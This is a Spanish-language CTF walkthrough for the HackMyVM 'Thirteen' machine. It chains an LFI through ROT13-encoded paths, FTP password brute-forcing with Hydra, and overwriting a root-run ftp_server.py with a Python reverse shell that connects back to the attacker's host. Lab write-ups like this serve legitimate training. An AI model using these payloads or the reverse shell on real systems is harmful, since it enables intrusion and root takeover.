cd ~/blog

~/writeups/hmv/134-thirteen.md

134 - Thirteen

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Local File Inclusion (LFI) con rutas en ROT13FTP Password GuessingWritable Privileged Executable File
hackmyvm.eu/machines/machine.php?vm=Thirteen

~1 min de lectura


Enumeración de servicios

Enumeramos puertos:

❯ nmap -sCV -p 21,22,80 -oN 02-targeted.txt 10.32.32.76
...
21/tcp open  ftp     pyftpdlib 2.0.1
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: iCloud Vault Access
...

Enumeramos directorios con gobuster (welcome.txt, config.txt, readme.txt, /logs en 403):

❯ gobuster dir -u 'http://10.32.32.76' -w directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh,db -r
/welcome.txt   /config.txt   /readme.txt   /logs (403)   /server-status (403)

LFI con rutas codificadas en ROT13

La web carga archivos mediante ?theme=, y los botones apuntan a los nombres descubiertos pero transformados con ROT13. Esta transformación sólo sustituye letras, no impone una frontera de seguridad. Codificamos /etc/passwd del mismo modo y confirmamos un LFI cuando la aplicación devuelve el archivo local:

❯ rot13 'jrypbzr.gkg pbasvt.gkg ernqzr.gkg'
welcome.txt config.txt readme.txt

❯ rot13 '/etc/passwd'
/rgp/cnffjq

❯ curl 'http://10.32.32.76/?theme=/rgp/cnffjq' | grep bash
root:x:0:0:root:/root:/bin/bash
welcome:x:1000:1000:,,,:/home/welcome:/bin/bash
max:x:1001:1001::/home/max:/bin/bash

El mismo LFI permite leer /logs/ftp_server.log. Entre varios intentos fallidos, el registro contiene una autenticación correcta del usuario ADMIN, así que conservamos ese nombre y aplicamos Password Guessing con Hydra:

❯ hydra -l ADMIN -P ~/Documentos/wordlists/rockyou.txt ftp://10.32.32.76:21 -t 64
...
[21][ftp] host: 10.32.32.76   login: ADMIN   password: 12345
...

Escalada mediante el script escribible del servicio FTP

Dentro del FTP aparecen ftp_server.py y rev.sh, ambos propiedad de root. Antes de modificar el servicio, comprobamos que la cuenta puede crear archivos en el directorio; el archivo de prueba aparece después en el listado:

ftp> put file.txt
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
ftp> ls
200 Active data connection established.
125 Data connection already open. Transfer starting.
-rw-r--r--   1 root     root            0 Aug 14 19:32 file.txt
-rw-r--r--   1 root     root         1607 Jul 05 07:08 ftp_server.py
-rw-r--r--   1 root     root           54 Jul 05 07:10 rev.sh
226 Transfer complete.

ftp_server.py es el código del servicio FTP y su ejecución privilegiada convierte la capacidad de sobrescribirlo en un caso de Writable Privileged Executable File. Sustituimos su contenido por una reverse shell:

❯ cat ftp_server.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.32.32.50",1234))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
ftp> put ftp_server.py
226 Transfer complete.

Después de subir el reemplazo, solicitamos el log del FTP mediante el LFI usando su ruta en ROT13. Esa interacción provoca la ejecución del script modificado en el escenario registrado y la conexión llega con un prompt de root:

❯ ncat -nlvp 1234
Ncat: Connection from 10.32.32.76:38528.
bash: cannot set terminal process group (428): Inappropriate ioctl for device
bash: no job control in this shell
root@13max:/opt#

El prompt root@13max confirma que el servicio ejecutó el código con privilegios de root.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados